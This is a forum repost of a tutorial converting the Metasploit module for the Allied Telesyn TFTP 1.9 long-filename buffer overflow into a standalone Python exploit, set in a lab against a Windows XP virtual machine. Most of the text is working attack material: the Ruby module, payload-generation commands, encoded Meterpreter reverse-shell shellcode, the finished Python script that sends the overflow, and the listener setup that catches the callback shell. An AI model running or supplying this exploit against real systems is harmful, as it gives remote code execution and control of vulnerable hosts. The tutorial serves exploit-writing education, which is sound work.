Nytro Posted January 4, 2019 Report Share Posted January 4, 2019 Converting Metasploit Module to Stand Alone Peleus Sometimes you might want to have a stand alone exploit, but the only option out there is a Metasploit module. Sure you could always just fire up Metasploit and use it… but what fun would that be? Besides it’s great to understand what’s going on under the hood of the Metasploit modules for both getting a handle on writing your own exploits and in the future even writing your own Metasploit modules and contributing back to the fantastic project. Requirements Windows XP – SP3 Virtual Machine (Victim). Kali Linux Virtual Machine (Attacker). Allied Telesyn TFTP Server 1.9 (Available here). A willingness to give things a go. The Target We’re going to be adapting the attftp_long_filename.rb module located at /usr/share/metasploit-framework/modules/exploits/windows/tftp/attftp_long_filename.rb and changing it into our own stand alone Python exploit. I’m by no means an experienced exploit writer so this is something that I’ve hacked together and figured out myself, there may be more optimal ways of doing each step. Full credit must be given to ‘patrick’ the original author of the module along with prop’s to c0re since we’re pulling out his return address. attftp_long_filename.rb ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a request (get/write) for an overly long file name. }, 'Author' => [ 'patrick' ], 'References' => [ ['CVE', '2006-6184'], ['OSVDB', '11350'], ['BID', '21320'], ['EDB', '2887'], ['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd19.zip'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 210, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24 [ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ], [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ], [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ], [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ], [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ], [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ], [ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], # ret by c0re [ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert [ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear ], 'Privileged' => false, 'DisclosureDate' => 'Nov 27 2006')) register_options( [ Opt::RPORT(69), Opt::LHOST() # Required for stack offset ], self.class) end def exploit connect_udp sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length) sploit << payload.encoded sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it. sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn sploit << "\x00" + "netascii" + "\x00" udp_sock.put(sploit) disconnect_udp end end Key Points Let’s run through some key points of the module and try and understand it a little better. Only parts that have an impact on our exploit will be examined. Default Exit Options 'DefaultOptions' => { 'EXITFUNC' => 'process', }, As noted above, the default exit function is ‘process’. This the method in which the shellcode will exit after running and typically has an impact on how stable the vulnerable program will be after we send our exploit. This value should be noted for when we alter the shellcode used to suit our particular situation. Payload 'Payload' => { 'Space' => 210, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, The payload is one of the key aspects we need to examine. This states that we have 210 bytes of space for our payload to reside in. Any larger and we may possibly run into issues of corruption or truncation of our exploit. Bad characters signify bytes that may impact our exploit. We need to ensure none of these characters are in our shellcode, and in this case it’s the almost universally bad null character ‘0x00’. For more information on bad characters search this site for writing basic buffer overflows. Finally we see something called stack adjustment. Essentially because we’re so restricted in space we need to utilize something called a staged payload. What we’re doing is only sending a small first instruction which is designed to connect back to us and get the main payload, which wouldn’t regularly fit. Because of this we need to adjust the stack pointer back 3500 bytes so it has room to actually write the payload without overwriting itself. Targets 'Targets' => [ # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24 [ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ], [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ], [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ], [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ], [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ], [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ], [ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], # ret by c0re [ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert [ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear ], Metasploit has a wide variety of targets for many exploits, which really is mostly a wide variety of suitable return addresses for each operating system. Because they are often using system dll’s these addresses are not changed from computer to computer and ensures exploit compatibility. In our case we wish to use the return address donated by c0re, Windows XP SP3. The Exploit def exploit connect_udp sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length) sploit << payload.encoded sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it. sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn sploit << "\x00" + "netascii" + "\x00" udp_sock.put(sploit) disconnect_udp end The main part all the rest has been leading up to, the exploit itself. Let’s go through it line by line to ensure we understand. connect_udp This signifies that the exploit will be sent over UDP packets. This line connects sets the target as the values in Metasploit such as RHOST and RPORT. sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length) The exploit is started with two hex values, ‘0x00’ and ‘0x02’ followed by a series of NOPs. The nops component is going to be variable in length depending on the length of your LAN IP, but always totaling 25 in total. As an example the LHOST value of ‘192.168.1.2’ has a length of 11, while an IP address of ‘192.168.100.123’ has a length of 15. If you want to play around with this fire up IRB (Interactive Ruby Shell) and assign a variable such as LHOST = ‘192.168.1.50’. The command LHOST.length will then tell you the length value – or just count how many characters there are including periods. sploit << payload.encoded This line encodes the payload specified within Metasploit and encodes it in the required format. Metasploit will internally determine what payloads are suitable given the space available and the target operating system, and they can be viewed with the ‘show payloads’ command. When we say ‘required format’ it means that it will exclude the nominated bad characters earlier in the exploit. sploit << [target['Ret']].pack('V') This command will append the target return address into the exploit string. It’s presented as a variable here because within Metasploit you can nominate different operating systems, but for our purposes it will just be the Windows XP SP3 return address. The pack ‘V’ command signifies that it needs to be packed in little endian format, necessary for x86 processors. sploit << "\x83\xc4\x28\xc3" Translated into commands, this is instructing the esp register to add 40 bytes and return. Necessary to position esp correctly for our exploit. sploit << "\x00" + "netascii" + "\x00" The final string of our exploit, this terminates the data stream in a format AT-TFTP is expecting. udp_sock.put(sploit) This instructs Metasploit to send the exploit via UDP. disconnect_udp Self explainitory but this signifies it has finished with the UDP socket. Adapting Each Part Let’s summarize what we need to achieve in our own exploit for it to get working based on the above highlighted areas. Create an appropriately sized NOP sled based off the size of LHOST Nominate the return address and pack it in little endian format Generate shellcode suitable for our situation (LHOST, etc) Perform stack adjustment on the shellcode so our second stage can write correctly Send the exploit over UDP with Python About the only step in there which should sound a little challenging is this stack adjustment business, but really as with all things it’s a lot easier than it sounds. Let’s begin with a very bare bones UDP framework for sending information to the target. # AT-TFTP v1.9 Exploit # Written for NetSec.ws import sys, socket # Use in the form "python attftp_long_filename.py <IP Address> <Port> <Your IP Address>" host = sys.argv[1] # Recieve IP from user port = int(sys.argv[2]) # Recieve Port from user exploit = "" # Out future exploit location client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Declare a UDP socket client.sendto(exploit, (host, port)) # Send the exploit over UDP to the nominated addresses Now from here a lot of the information is going to be straight translations from the ruby counterparts. This includes creating the appropriate sized NOPs and the return address, along with the information we know will be sent to set up the exploit itself. Let’s incorporate that into our framework. # AT-TFTP v1.9 Exploit # Written for NetSec.ws import sys, socket # Use in the form "python attftp_long_filename.py <Target IP Address> <Port> <Your IP Address>" host = sys.argv[1] # Recieve IP from user lhost = sys.argv[3] port = int(sys.argv[2]) # Recieve Port from user ret = "\x53\x93\x42\x7e" # Return address - Source Metasploit (Little Endian) nop = "\x90" * (25-len(lhost)) # Create a NOP string as to bring NOPs + LHOST up to 25 bytes payload = "" # Payload to be calculated exploit = "\x00\x02" + nop + payload + ret + "\x83\xc4\x28\xc3\x00netascii\x00" # Our exploit so far client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Declare a UDP socket client.sendto(exploit, (host, port)) # Send the exploit over UDP to the nominated addresses Now we’ve got the known information we need to take the next step and factor in the stack adjustment for our staged payload. Stack Adjustment First we need to dump our payload into a raw hex file for further manipulation. Our payload in this case is going to be the meterpreter shell windows/meterpreter/reverse_nonx_tcp, chosen for it’s particularly small code footprint. We use the command, msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.1.2 LPORT=443 R > payload If we wish to confirm this has successfully outputted to the file we can use the command hexdump -C payload 00000000 fc 6a eb 47 e8 f9 ff ff ff 60 31 db 8b 7d 3c 8b |.j.G.....`1..}<.| 00000010 7c 3d 78 01 ef 8b 57 20 01 ea 8b 34 9a 01 ee 31 ||=x...W ...4...1| 00000020 c0 99 ac c1 ca 0d 01 c2 84 c0 75 f6 43 66 39 ca |..........u.Cf9.| 00000030 75 e3 4b 8b 4f 24 01 e9 66 8b 1c 59 8b 4f 1c 01 |u.K.O$..f..Y.O..| 00000040 e9 03 2c 99 89 6c 24 1c 61 ff e0 31 db 64 8b 43 |..,..l$.a..1.d.C| 00000050 30 8b 40 0c 8b 70 1c ad 8b 68 08 5e 66 53 66 68 |0.@..p...h.^fSfh| 00000060 33 32 68 77 73 32 5f 54 66 b9 72 60 ff d6 95 53 |32hws2_Tf.r`...S| 00000070 53 53 53 43 53 43 53 89 e7 66 81 ef 08 02 57 53 |SSSCSCS..f....WS| 00000080 66 b9 e7 df ff d6 66 b9 a8 6f ff d6 97 68 c0 a8 |f.....f..o...h..| 00000090 01 02 66 68 01 bb 66 53 89 e3 6a 10 53 57 66 b9 |..fh..fS..j.SWf.| 000000a0 57 05 ff d6 50 b4 0c 50 53 57 53 66 b9 c0 38 ff |W...P..PSWSf..8.| 000000b0 e6 |.| 000000b1 This will also come in handy when comparing the file against the post stack adjustment version. Next we need to find out what command we actually need to use to adjust the stack -3500 bytes. This can be done using the Metasploit tool nasm_shell.rb, located here /usr/share/metasploit-framework/tools/nasm_shell.rb. Putting in a assembly command will give you the hex machine instruction for that command. Since we want to subtract 3500 (0xDAC in hex) from the stack pointer we do the following, ruby /usr/share/metasploit-framework/tools/nasm_shell.rb nasm > sub esp, 0xDAC 00000000 81ECAC0D0000 sub esp,0xdac This tells us we need to use the commands 81EC AC0D 0000 to achieve adjusting the stack by 3500. We output this into a raw hex file. You can do it however you wish, such as with a hex editor, but a quick one line example with perl is as follows, perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj We now have two raw files, stackadj and our payload. We want to combine them both together which is a simple cat command, cat stackadj payload > shellcode To confirm we now have the file in a correct format we once more examine it with hexdump and compare it against our previous dump. hexdump -C shellcode 00000000 81 ec ac 0d 00 00 fc 6a eb 47 e8 f9 ff ff ff 60 |.......j.G.....`| 00000010 31 db 8b 7d 3c 8b 7c 3d 78 01 ef 8b 57 20 01 ea |1..}<.|=x...W ..| 00000020 8b 34 9a 01 ee 31 c0 99 ac c1 ca 0d 01 c2 84 c0 |.4...1..........| 00000030 75 f6 43 66 39 ca 75 e3 4b 8b 4f 24 01 e9 66 8b |u.Cf9.u.K.O$..f.| 00000040 1c 59 8b 4f 1c 01 e9 03 2c 99 89 6c 24 1c 61 ff |.Y.O....,..l$.a.| 00000050 e0 31 db 64 8b 43 30 8b 40 0c 8b 70 1c ad 8b 68 |.1.d.C0.@..p...h| 00000060 08 5e 66 53 66 68 33 32 68 77 73 32 5f 54 66 b9 |.^fSfh32hws2_Tf.| 00000070 72 60 ff d6 95 53 53 53 53 43 53 43 53 89 e7 66 |r`...SSSSCSCS..f| 00000080 81 ef 08 02 57 53 66 b9 e7 df ff d6 66 b9 a8 6f |....WSf.....f..o| 00000090 ff d6 97 68 c0 a8 01 02 66 68 01 bb 66 53 89 e3 |...h....fh..fS..| 000000a0 6a 10 53 57 66 b9 57 05 ff d6 50 b4 0c 50 53 57 |j.SWf.W...P..PSW| 000000b0 53 66 b9 c0 38 ff e6 |Sf..8..| 000000b7 It’s exactly the same as our past payload but with the stack adjustment having taken place at the start of the exploit. We’re almost done now but we have one final step we need to do to the shellcode. Encoding Shellcode In both our stack adjustment command and the payload itself there are null characters which we need to remove. Msfencode comes to our rescue once again and we can reencode the payload without nulls. cat shellcode | msfencode -b '\x00' -e x86/shikata_ga_nai -t python [*] x86/shikata_ga_nai succeeded with size 210 (iteration=1) buf = "" buf += "\xbb\xd2\x8c\x3a\x78\xdb\xd2\xd9\x74\x24\xf4\x58\x31" buf += "\xc9\xb1\x2e\x31\x58\x15\x03\x58\x15\x83\xc0\x04\xe2" buf += "\x27\x0d\xd6\xd4\xca\x0e\x27\xd9\xbe\xe5\x60\xc9\xc7" buf += "\x05\x91\xf6\x57\xcb\xb5\x82\xea\x17\xc1\xe9\x29\x10" buf += "\xd4\xfe\xda\xb7\xf6\x01\x36\xbc\xc3\x9b\xc7\x2d\x1a" buf += "\x5c\x5e\x1d\x9c\x96\x6d\x5f\xdd\xa3\xad\x2a\x17\xe8" buf += "\x4b\xec\x1d\x9a\x70\x45\x29\x2a\x52\x5b\xc4\xd3\x11" buf += "\x47\x4f\x97\x6a\x64\x6e\x4e\x77\xb8\xe9\x19\x1b\xe4" buf += "\x15\x7b\x1c\x04\x14\xa0\x86\x4e\x14\x66\xcd\x11\x97" buf += "\x0d\xa1\x8d\x0a\x9a\x29\xa6\x0a\xfb\xfa\xd0\xda\x30" buf += "\xce\x74\x6c\x44\x1c\xda\xc6\xcc\xd9\x96\x86\xef\xcf" buf += "\xc2\x14\x43\xbc\xbf\xd9\x30\x01\x13\x57\x51\xe3\x12" buf += "\x88\x96\xe9\x43\x04\xc1\x54\x8c\x75\xf2\x70\x35\x33" buf += "\xa5\x13\x45\x95\x21\x83\x79\xb2\x4f\x51\x1c\xab\x4e" buf += "\xee\x86\x78\xd8\xf3\x2d\x6f\x89\xa4\xd7\x36\x7a\x4f" buf += "\xe7\x9f\xd5\xfb\x1b\x70\x85\x54\x77\x16\x90\x9a\x4f" buf += "\x29\x04" We can now cut and paste this shellcode into our python exploit. The final exploits looks like the below. Final Stand Alone Exploit # AT-TFTP v1.9 Exploit # Written for NetSec.ws import sys, socket # Use in the form "python attftp_long_filename.py <Target IP Address> <Port> <Your IP Address>" host = sys.argv[1] # Recieve IP from user lhost = sys.argv[3] port = int(sys.argv[2]) # Recieve Port from user ret = "\x53\x93\x42\x7e" # Return address - Source Metasploit (Little Endian) nop = "\x90" * (25-len(lhost)) # Create a NOP string as to bring NOPs + LHOST up to 25 bytes #msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=process R > payload #cat shellcode | msfencode -b '\x00' -e x86/shaikata_ga_nai -t python #[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1) buf = "" buf += "\xbb\xd2\x8c\x3a\x78\xdb\xd2\xd9\x74\x24\xf4\x58\x31" buf += "\xc9\xb1\x2e\x31\x58\x15\x03\x58\x15\x83\xc0\x04\xe2" buf += "\x27\x0d\xd6\xd4\xca\x0e\x27\xd9\xbe\xe5\x60\xc9\xc7" buf += "\x05\x91\xf6\x57\xcb\xb5\x82\xea\x17\xc1\xe9\x29\x10" buf += "\xd4\xfe\xda\xb7\xf6\x01\x36\xbc\xc3\x9b\xc7\x2d\x1a" buf += "\x5c\x5e\x1d\x9c\x96\x6d\x5f\xdd\xa3\xad\x2a\x17\xe8" buf += "\x4b\xec\x1d\x9a\x70\x45\x29\x2a\x52\x5b\xc4\xd3\x11" buf += "\x47\x4f\x97\x6a\x64\x6e\x4e\x77\xb8\xe9\x19\x1b\xe4" buf += "\x15\x7b\x1c\x04\x14\xa0\x86\x4e\x14\x66\xcd\x11\x97" buf += "\x0d\xa1\x8d\x0a\x9a\x29\xa6\x0a\xfb\xfa\xd0\xda\x30" buf += "\xce\x74\x6c\x44\x1c\xda\xc6\xcc\xd9\x96\x86\xef\xcf" buf += "\xc2\x14\x43\xbc\xbf\xd9\x30\x01\x13\x57\x51\xe3\x12" buf += "\x88\x96\xe9\x43\x04\xc1\x54\x8c\x75\xf2\x70\x35\x33" buf += "\xa5\x13\x45\x95\x21\x83\x79\xb2\x4f\x51\x1c\xab\x4e" buf += "\xee\x86\x78\xd8\xf3\x2d\x6f\x89\xa4\xd7\x36\x7a\x4f" buf += "\xe7\x9f\xd5\xfb\x1b\x70\x85\x54\x77\x16\x90\x9a\x4f" buf += "\x29\x04" exploit = "\x00\x02" + nop + buf + ret + "\x83\xc4\x28\xc3\x00netascii\x00" # Our exploit client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Declare a UDP socket client.sendto(exploit, (host, port)) # Send the exploit over UDP to the nominated addresses Running the Exploit Let’s test this against our Windows XP victim. Install AT-TFTP v1.9 from the link in the requirements. Ensure you unblock any firewall prompts to allow access. Because this is a staged payload, we need to set up Metasploit to catch the incoming shell. It wil then send the second much larger buffer (769536 bytes) that we could never have fit into our exploit itself. Run the commands sequentially, msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_nonx_tcp set LHOST <Your IP Address> set LPORT 443 exploit Now the fun stuff, we run the command, python attftp_long_filename.py 192.168.1.104 69 192.168.1.2 It goes without saying you should put in your own IP values, but it should maintain the format python All going well, this is the result… Congratulations, you’ve successfully modified your first Metasploit module into a stand alone exploit. You should have a lot better understanding of whats happening under the hood in Metasploit now, and even have a handle on staged vs non-staged payloads given we used a non staged payload in the ‘Simple Buffer Overflows’ post. If you haven’t read it yet, I suggest you check it out. Sursa: https://netsec.ws/?p=262 Quote Link to comment Share on other sites More sharing options...